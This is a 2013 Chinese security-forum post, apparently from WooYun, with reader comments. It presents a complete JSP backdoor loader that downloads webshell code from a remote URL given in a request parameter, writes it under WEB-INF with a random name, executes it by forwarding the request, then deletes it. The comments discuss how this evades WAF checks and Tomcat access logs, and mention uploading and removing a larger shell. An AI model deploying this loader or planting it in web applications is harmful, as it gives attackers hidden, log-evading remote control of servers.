我的思路是先从远程读取要生成的shell内容,然后把shell藏在WEB-INF下shell的名字和长度也都随机生成。比如:
不过就算藏在WEB-INF下也会被发现,干脆用一次就删一次?这样不会在任何目录下留下Shell。
菜刀链接:http://localhost/Demo2/new.jsp?url=http://xsser.me/caidao/css.jsp
<%@ page language="java" import="java.io.*,java.net.*,java.util.*" pageEncoding="UTF-8"%> <%! String getConnection(String url) { String result="",line=""; try { URL realUrl = new URL(url); URLConnection connection = realUrl.openConnection(); connection.setConnectTimeout(15000); connection.setReadTimeout(15000); connection.connect(); BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream())); while ((line = in.readLine()) != null) { result += line; } } catch (Exception e) { e.printStackTrace(); } return result; } void writeShell(String url,String path){ try{ RandomAccessFile rf = new RandomAccessFile(path, "rw"); rf.write(new String(getConnection(url)).getBytes()); rf.close(); }catch(Exception e){ e.printStackTrace(); } } String getRandomString(int length) { String base = "abcdefghijklmnopqrstuvwxyz0123456789"; Random random = new Random(); StringBuffer sb = new StringBuffer(); for (int i = 0; i < length; i++) { int number = random.nextInt(base.length()); sb.append(base.charAt(number)); } return sb.toString(); } String getRequestFile(HttpServletRequest request){ return "/WEB-INF/classes/"+getRandomString(new Random().nextInt(10)+1)+".jsp"; } %> <% String f = getRequestFile(request),p = request.getSession().getServletContext().getRealPath("/")+f; writeShell(request.getParameter("url"),p); request.getRequestDispatcher(f).forward(request,response); new File(p).delete(); %>
测试的时候还发现了一个jspx和jsp的一个小秘密:
用jspx的语法可以直接适用于jsp,也就是说可以把http://xsser.me/caidao/jspx.jspx的内容copy,然后保存到一个jsp文件里面一样可以正常访问。
现在要做的就是怎么去藏生成后门的代码了。
相关吐槽:
1#
yexin | 2013-10-27 14:24
前排留名。
2#
淡漠天空 (路人的世界) | 2013-10-27 14:30
用jspx的语法可以直接适用于jsp,也就是说可以把http://xsser.me/caidao/jspx.jspx的内容copy,然后保存到一个jsp文件里面一样可以正常访问。
这个的确 。。。。。也是不久前发现的
3#
核心白帽子 (发标题党的草泥马) | 2013-10-27 14:36
还不如放一个jsp的一句话上去每次要用的时候上传一个jsp大马 用完了之后将jsp大马删除..
跟你这也没多大区别..看不出这样有什么方便隐藏的优势
4#
园长 (你在身边就是缘,缘分写在数据库里面。) | 2013-10-27 15:31
@核心白帽子 其实也没什么大的不同,只是记录一下。一点小区别,第一这个后门存在WEB-INF直接请求http://xxx.com/WEB-INF/xxx.jsp请求不到,某些WAF可能不会检查WEB-INF下的jsp。第二accesslog记录。
5#
Coody (&_&) | 2013-10-27 15:56
@园长 accesslog不记录 WEB-INF/ 下的文件访问么?
6#
龙臣 (据说共产党员的老婆更漂亮。) | 2013-10-27 16:02
传错了 忽略之
7#
淡漠天空 (路人的世界) | 2013-10-27 16:18
@园长 国内还好 国外的WEB-INF根本无权限 某些限定环境下是行不通的
8#
淡漠天空 (路人的世界) | 2013-10-27 16:19
WAF的规则决定能不能访问或者动WEB-INF 太局限了。。。
9#
园长 (你在身边就是缘,缘分写在数据库里面。) | 2013-10-27 17:03
@Coody 请求shell会accesslog会记录下来的完整shell路径请求上面的后门记录的应该是参数。
测试了下Tomcat的Accesslog没有记录getRequestDispatcher forward的地址和参数:
0:0:0:0:0:0:0:1 - - [27/Oct/2013:17:01:42 +0800] "POST /Demo2/new.jsp?url=http://xsser.me/caidao/css.jsp HTTP/1.1" 200 296
10#
wefgod (求大牛指点) | 2013-10-28 08:54
园长之前不是说filter可以?那个好像比较好